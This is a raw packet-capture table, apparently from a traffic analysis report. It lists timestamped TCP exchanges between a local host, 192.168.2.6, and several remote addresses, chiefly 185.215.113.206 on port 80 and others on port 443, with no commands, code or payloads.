Nov 13, 2024 18:08:33.655143023 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.655145884 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.655157089 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.655168056 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.655168056 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.655178070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.655188084 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.655189037 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.655199051 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.655210018 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.655213118 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.655235052 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.655244112 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.656497955 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.656508923 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.656518936 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.656528950 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.656538963 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.656548977 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.656555891 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.656558990 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.656568050 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.656579018 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.656589031 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.656594992 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.656599045 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.656609058 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.656618118 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.656620026 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.656627893 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.656627893 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.656639099 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.656646967 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.656651020 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.656662941 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.656671047 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.656693935 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.657382011 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657392979 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657401085 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657411098 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657419920 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657429934 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657433033 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.657439947 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657449961 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657460928 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.657466888 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657473087 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.657476902 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657486916 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657494068 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.657497883 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657510042 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657517910 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.657521963 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657531977 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657542944 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657545090 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.657553911 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657563925 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.657571077 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.657594919 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.657702923 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657712936 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657721996 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657732010 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657741070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657748938 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657753944 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.657759905 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657769918 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657779932 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657787085 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.657790899 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657799959 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657800913 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.657810926 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657819986 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.657820940 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657833099 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657840967 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.657843113 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657854080 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657861948 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.657865047 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.657885075 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.657901049 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.658374071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.658385038 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.658394098 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.658405066 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.658415079 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.658415079 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.658425093 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.658432007 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.658458948 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.727814913 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.730434895 CET	443	49910	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.730772972 CET	443	49910	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.730895042 CET	49910	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.730962992 CET	49910	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.730962992 CET	49910	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.730981112 CET	443	49910	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.730990887 CET	443	49910	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.734051943 CET	49917	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.734086037 CET	443	49917	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.734208107 CET	49917	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.734384060 CET	49917	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.734395027 CET	443	49917	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.736711979 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.744230986 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.744292021 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.774033070 CET	443	49911	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.774101973 CET	443	49911	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.774408102 CET	49911	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.774493933 CET	49911	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.774493933 CET	49911	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.774539948 CET	443	49911	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.774574995 CET	443	49911	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.778446913 CET	49918	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.778482914 CET	443	49918	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.778568983 CET	49918	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.779006958 CET	49918	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.779019117 CET	443	49918	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.780817986 CET	49919	443	192.168.2.6	20.189.173.9
Nov 13, 2024 18:08:33.780867100 CET	443	49919	20.189.173.9	192.168.2.6
Nov 13, 2024 18:08:33.780972958 CET	49919	443	192.168.2.6	20.189.173.9
Nov 13, 2024 18:08:33.781192064 CET	49920	443	192.168.2.6	20.125.209.212
Nov 13, 2024 18:08:33.781220913 CET	443	49920	20.125.209.212	192.168.2.6
Nov 13, 2024 18:08:33.781271935 CET	49920	443	192.168.2.6	20.125.209.212
Nov 13, 2024 18:08:33.781920910 CET	49919	443	192.168.2.6	20.189.173.9
Nov 13, 2024 18:08:33.781955004 CET	443	49919	20.189.173.9	192.168.2.6
Nov 13, 2024 18:08:33.782167912 CET	49920	443	192.168.2.6	20.125.209.212
Nov 13, 2024 18:08:33.782185078 CET	443	49920	20.125.209.212	192.168.2.6
Nov 13, 2024 18:08:33.806711912 CET	49921	443	192.168.2.6	108.156.211.71
Nov 13, 2024 18:08:33.806766033 CET	443	49921	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:33.807189941 CET	49921	443	192.168.2.6	108.156.211.71
Nov 13, 2024 18:08:33.808119059 CET	49921	443	192.168.2.6	108.156.211.71
Nov 13, 2024 18:08:33.808128119 CET	443	49921	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:33.809076071 CET	49922	443	192.168.2.6	20.96.153.111
Nov 13, 2024 18:08:33.809096098 CET	443	49922	20.96.153.111	192.168.2.6
Nov 13, 2024 18:08:33.809381008 CET	49922	443	192.168.2.6	20.96.153.111
Nov 13, 2024 18:08:33.809528112 CET	49922	443	192.168.2.6	20.96.153.111
Nov 13, 2024 18:08:33.809539080 CET	443	49922	20.96.153.111	192.168.2.6
Nov 13, 2024 18:08:33.836390972 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.836460114 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.836483002 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.836507082 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.836527109 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.836535931 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.836550951 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.836570978 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.836606979 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.836606979 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.836615086 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.836627007 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.838109970 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.842156887 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.842221022 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.842242956 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.842267990 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.842295885 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.842308044 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.842324972 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.842333078 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.842364073 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.842369080 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.842389107 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.842415094 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.852499962 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.852521896 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.852539062 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.852581024 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.852586031 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.852611065 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.852628946 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.852632046 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.852632046 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.852665901 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.852708101 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.852730036 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.856564045 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.856632948 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.856684923 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.856693029 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.856704950 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.938052893 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.952137947 CET	443	49914	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.955418110 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.955452919 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.955501080 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.955521107 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.955554008 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.955554008 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.955564022 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.955600023 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.955600023 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.964835882 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.964874983 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.964924097 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.964950085 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.965055943 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.965055943 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.965131998 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.965190887 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.972739935 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.972784996 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.972817898 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.972832918 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.972865105 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.972902060 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.974117994 CET	49914	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.974132061 CET	443	49914	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.974725962 CET	49914	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.974731922 CET	443	49914	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.975173950 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.975223064 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.975260973 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.975272894 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.975301027 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.975507021 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.977076054 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.977102995 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.977145910 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.977161884 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.977178097 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.977183104 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.977236986 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.977236986 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.977283955 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.977340937 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.977355003 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.977442026 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.977536917 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.985996962 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.986011028 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.037815094 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.037836075 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.037847042 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.037893057 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.037903070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.037911892 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.037930965 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.037940979 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.037950993 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.037966013 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.037981033 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.038721085 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.038731098 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.038738966 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.038748026 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.038757086 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.038759947 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.038767099 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.038774967 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.038783073 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.038784981 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.038794041 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.038811922 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.038820982 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.038841963 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.038846970 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.039021015 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.039031029 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.039040089 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.039051056 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.039057016 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.039057016 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.039060116 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.039071083 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.039081097 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.039091110 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.039098024 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.039099932 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.039108992 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.039119005 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.039119959 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.039132118 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.039139032 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.039140940 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.039151907 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.039172888 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.039186001 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.039203882 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.040659904 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.040672064 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.040680885 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.040690899 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.040699005 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.040704966 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.040712118 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.040720940 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.040724993 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.040733099 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.040743113 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.040750980 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.040752888 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.040762901 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.040764093 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.040774107 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.040781975 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.040785074 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.040793896 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.040798903 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.040803909 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.040806055 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.040824890 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.040852070 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.041773081 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.041783094 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.041790962 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.041800022 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.041809082 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.041821003 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.041821957 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.041821003 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.041831970 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.041840076 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.041848898 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.041851997 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.041861057 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.041871071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.041874886 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.041881084 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.041887045 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.041891098 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.041903019 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.041912079 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.041913986 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.041923046 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.041937113 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.042728901 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.042740107 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.042747974 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.042757988 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.042758942 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.042758942 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.042767048 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.042773008 CET	49864	80	192.168.2.6	185.215.113.206
